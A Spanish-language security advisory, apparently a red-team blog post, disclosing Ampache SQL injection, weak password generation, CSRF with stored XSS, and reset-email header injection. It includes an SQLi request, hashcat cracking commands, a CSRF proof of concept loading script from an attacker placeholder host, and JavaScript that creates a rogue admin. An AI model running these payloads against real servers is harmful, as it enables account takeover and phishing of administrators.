Typewritter
Volver al blog

Vulnerabilidades en Ampache (<=3.9.1)

Durante una operación del Red Team de Tarlogic se descubrieron diferentes vulnerabilidades en Ampache, una plataforma web open source para streaming de audio/video. Se han asignado códigos CVE para dos de ellas: CVE-2019-12385 (SQL injection) y CVE-2019-12386 (XSS persistente).

SQL injection (CVE-2019-12385)

La comunicación con la base de datos se realiza mediante la clase Dba (ORM), que hace uso de PHP PDO para realizar las consultas SQL. En algunos casos, se realiza un buen uso de PDO utilizando sentencias preparadas, pero en otros casos se emplea el método Dba::escape.

lib/class/dba.class.php:

134:    public static function escape($var)
135:    {
136:        $dbh = self::dbh();
137:        if (!$dbh) {
138:            debug_event('Dba', 'Wrong dbh.', 1);
139:            exit;
140:        }
141:        $var = $dbh->quote($var);
142:        // This is slightly less ugly than it was, but still ugly
143:        return substr($var, 1, -1);
144:    }

Esta función llama a PDO::quote, función que entrecomilla la cadena de entrada y escapa los caracteres especiales que pudieran romper la consulta. A continuación, prescinde de las comillas exteriores (substr). Eliminar estas comillas, significa que si se realiza una consulta en la que el valor “escapado” no está entrecomillado, un atacante estaría inyectando datos directamente en contexto SQL.

Siguiendo esta hipótesis, se localiza un punto de inyección con dichas características, si bien podría haber más:

lib/class/search.class.php:

1461:   case 'last_play':
1462:          $userid               = $GLOBALS['user']->id;
1463:          $where[]              = "`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - ($input * 86400))";
1464:          $join['object_count'] = true;
1465:          break;

La variable $input es básicamente Dba::escape($ENTRADA_DEL_USUARIO), por lo que un usuario malintencionado podría inyectar consultas SQL (evitando comillas y demás caracteres especiales).

Con la siguiente petición se confirma la vulnerabilidad:

POST /search.php?type=song
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9,en;q=0.8,pt;q=0.7
Cookie: ampache=[session_id]
Connection: close
        
limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search

Esta vulnerabilidad afecta al motor de búsqueda de Ampache, por lo que cualquier usuario capaz de realizar búsquedas (incluso usuarios invitados) podría aprovecharlo y robar las cookies de sesión de un administrador (almacenadas en la base de datos). En la siguiente sección se expondrá una forma de escalada de privilegios cuando no hay sesiones de administrador activas.

Generación de contraseñas

Respecto a la generación automática de contraseñas, podemos remarcar dos problemas:

No utilización de salt

lib/class/user.class.php:

990:    public function update_password($new_password)
991:    {
992:        $new_password = hash('sha256', $new_password);
993:        $new_password = Dba::escape($new_password);
994:        $sql          = "UPDATE `user` SET `password` = ? WHERE `id` = ?";
995:        $db_results   = Dba::write($sql, array($new_password, $this->id));
996:        // Clear this (temp fix)
997:        if ($db_results) {
998:            unset($_SESSION['userdata']['password']);
990:        }
1000:   }

Las contraseñas son hasheadas directamente utilizando sha256 sin ningún tipo de salt.

Algoritmo débil

Para generar contraseñas pseudoaleatorias se emplea la siguiente función:

lib/general.lib.php:

47:    function generate_password($length)
48:    {
49:        $vowels     = 'aAeEuUyY12345';
50:        $consonants = 'bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789';
51:        $password   = '';
52:        $alt = time() % 2;
53:        for ($i = 0; $i < $length; $i++) {
54:            if ($alt == 1) {
55:                $password .= $consonants[(rand(0, strlen($consonants) - 1))];
56:                $alt = 0;
57:            } else {
58:                $password .= $vowels[(rand(0, strlen($vowels) - 1))];
59:                $alt = 1;
60:            }
61:        }
62:        return $password;
63:    }

Se puede observar que el algoritmo hace uso de dos charsets pequeños (13 “vocales” y 36 “consonantes”), escogiendo un caracter de cada uno de forma alternada. Por otra parte, conociendo el momento de generación de la contraseña se puede inferir el orden de los charsets utilizados (debido al uso de la función time).

Además, se puede comprobar que en la rutina de recuperación de contraseña, se generan contraseñas con una longitud de solamente 6 caracteres:

lostpassword.php

54:    if ($client && $client->email == $email) {
55:        $newpassword = generate_password(6);
56:        $client->update_password($newpassword);

Estas debilidades combinadas con la inyección SQL, son suficientes para comprometer una cuenta de administrador en pocos segundos:

  1. Resetear contraseña del administrador
  2. Mediante la inyección SQL: extraer hash de la contraseña generada en el paso anterior
  3. Crackearlo

En pocos segundos es posible crackear la contraseña, utilizando uno de los siguientes comandos de hashcat (dependiendo del orden de charsets utilizados):

.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -1 aAeEuUyY12345 -2 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O

o

.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -2 aAeEuUyY12345 -1 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O

CSRF + XSS persistente (CVE-2019-12386)

Se detectan dos vulnerabilidades en la sección de añadir nuevas instancias en localplay.php: un CSRF y un XSS persistente. Éstas pueden ser combinadas para engañar a un administrador y que automáticamente genere una cuenta privilegiada en la plataforma con una contraseña conocida.

Cross-Site Scripting

Al mostrar el campo de nombre de la instancia no se realiza un escape de caracteres especiales HTML, por lo que tras introducir código HTML/JavaScript, observamos cómo se carga y ejecuta en el navegador. De esta forma, es posible forzar al usuario a realizar acciones determinadas dentro de su sesión.

El siguiente sencillo payload es suficiente para confirmar la vulnerabilidad: <script>alert(1)</script>

Cross-Site Request Forgery

Por otra parte, el mismo formulario no presenta ningún tipo de protección contra CSRF, por lo que se presenta un nuevo escenario en el que un atacante podría combinar ambas vulnerabilidades y forzar a un administrador a explotar el XSS contra sí mismo.

PoC

Un usuario malicioso sólo tendría engañar a un administrador para que visite un link con el siguiente código:
index.html

<html>
  <body>
    <form action="https://[AMPACHE]/localplay.php?action=add_instance" method="POST">
      <input type="hidden" name="name" value="<script src=https://[ATTACKER]/pwn.js></script>" />
      <input type="hidden" name="host" value="foobar" />
      <input type="hidden" name="port" value="6666" />
      <input type="hidden" name="host" value="foobar" />
      <input type="hidden" name="port" value="9999" />
      <input type="hidden" name="password" value="foobar" />
      <input type="submit" value="Pwn!" />  <!-- Replace this with autosubmit stuff -->
    </form>
  </body>

pwn.js

function pwned() {
    var ifr = document.getElementById("pwn");
    var target = ifr.contentDocument.getElementsByTagName("form")[2];
    target.username.value = "NewAdmin";
    target.email.value = "[email protected]";
    target.password_1.value = "admin";
    target.password_2.value = "admin";
    target.access.value = "100";
    target.submit();
}
var iframe = document.createElement('iframe');
iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user");
iframe.setAttribute("id", "pwn");
document.body.appendChild(iframe);
setTimeout(pwned, 3000);

Una vez el administrador visite la página (index.html), un formulario se enviaría automáticamente para crear una nueva instancia cuyo nombre contenga el payload XSS. Una vez enviado el formulario, se ejecutaría el XSS y éste cargaría el fichero pwn.js. El código de este fichero se encargaría de crear un nuevo usuario administrador controlado por el atacante.

Manipulación del email de recuperación

Otro de los problemas localizados se encuentra en la propia funcionalidad de recuperación de contraseñas.

lostpassword.php

34:     $email = scrub_in($_POST['email']);
35:     $current_ip =(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) ? $_SERVER['HTTP_X_FORWARDED_FOR'] :$_SERVER['REMOTE_ADDR'];
36:     $result     = send_newpassword($email, $current_ip);
//...
$message  = sprintf(T_("A user from %s has requested a password reset for '%s'."), $current_ip, $client->username);

El contenido de la cabecera X-Forwarded-For es directamente incluído en el contenido del email que se envía, lo que podría aprovecharse para realizar un ataque de phishing:

curl https://[AMPACHE]/lostpassword.php --data "[email protected]&action=send" --header "X-Forwarded-For: WE CAN MANIPULATE THIS TO LURE YOU"

Por lo que el usuario recibiría lo siguiente:

A user from WE CAN MANIPULATE THIS TO LURE YOU has requested a password reset for 'XXXX'.
The password has been set to:: jEX3WE

Conclusión

Una de las características más importantes del Red Team de Tarlogic es la dedicación a buscar vulnerabilidades en el software utilizado por nuestros clientes, siendo fruto de ello en muchas ocasiones el descubrimiento de 0-days. Algunos de ellos que puedan ser más interesantes son mostramos en este blog (como el presente post, o como se hizo con OCS Inventory y el RCE de Cobian Backup) y otros únicamente se reportan (como se hizo con el Switch UbiQuoss VP5208A).

Siempre hay que tener en cuenta la posibilidad de que un atacante utilice vulnerabilidades no publicadas para comprometer una máquina. Es en este punto donde las medidas implementadas durante el bastionado deben de dificultarle el movimiento lateral y la escalada de privilegios. Así mismo la implantación de WAFs en este tipo de aplicaciones internas críticas permiten dificultar la explotación de este tipo de vulnerabilidades en aplicativos web.

Agradecimientos

Pablo Martínez (@xassiz), Juan Manuel Fernandez (@TheXC3LL) & Jaume Llopis (@jks___)

Deja un comentario